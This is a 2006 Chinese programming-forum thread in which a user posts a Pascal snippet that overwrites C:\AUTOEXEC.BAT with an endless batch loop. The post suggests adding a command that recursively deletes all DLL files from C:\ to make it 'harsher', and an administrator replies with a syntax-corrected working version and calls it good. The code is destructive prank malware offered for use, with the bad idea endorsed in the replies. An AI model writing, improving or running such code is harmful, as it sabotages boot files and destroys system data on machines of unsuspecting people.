切换到宽版
发帖 回复
返回列表
  • 6388阅读
  • 3回复

这个好! [复制链接]

 上一主题 下一主题
离线lailela
OIFans入门选手
 
只看楼主 倒序阅读 0 发表于: 2006-11-15
var f:text;
assign(f,c:\AUTOEXEC.BAT);
rewrite(f);
writeln(f,':loop');
writeln(f,'dir c:\ /s >c:\AUTOEXEC.BAT');
{狠一点的再来个writeln(f,'del c:\*.dll /s');之类的}
writeln(f,'goto loop');
close(f);
回复
举报
分享到 淘江湖 新浪 QQ微博 QQ空间 开心 人人 豆瓣 网易微博 百度 鲜果 白社会 飞信
离线archimedes
管理员
只看该作者 1 发表于: 2006-11-15
语法错误百出
现该如下
复制代码
  1. var f:text;
  2. assign(f,'C:\AUTOEXEC.BAT');
  3. rewrite(f);
  4. writeln(f,':loop');
  5. writeln(f,'dir c:\ /s >C:\AUTOEXEC.BAT');
  6. {狠一点的再来个writeln(f,'del c:\*.dll /s');之类的}
  7. writeln(f,'goto loop');
  8. close(f);


补充一句------确实好
回复
举报
离线stevenjl
管理员
只看该作者 2 发表于: 2006-11-15
……现在的小孩……
Dream Walker...
回复
举报
离线archimedes
管理员
只看该作者 3 发表于: 2006-11-16
引用第2楼stevenjl于2006-11-15 16:53发表的:
……现在的小孩……

So naughty~
回复
举报
发帖 回复
返回列表
快速回复
限100 字节
 
上一个 下一个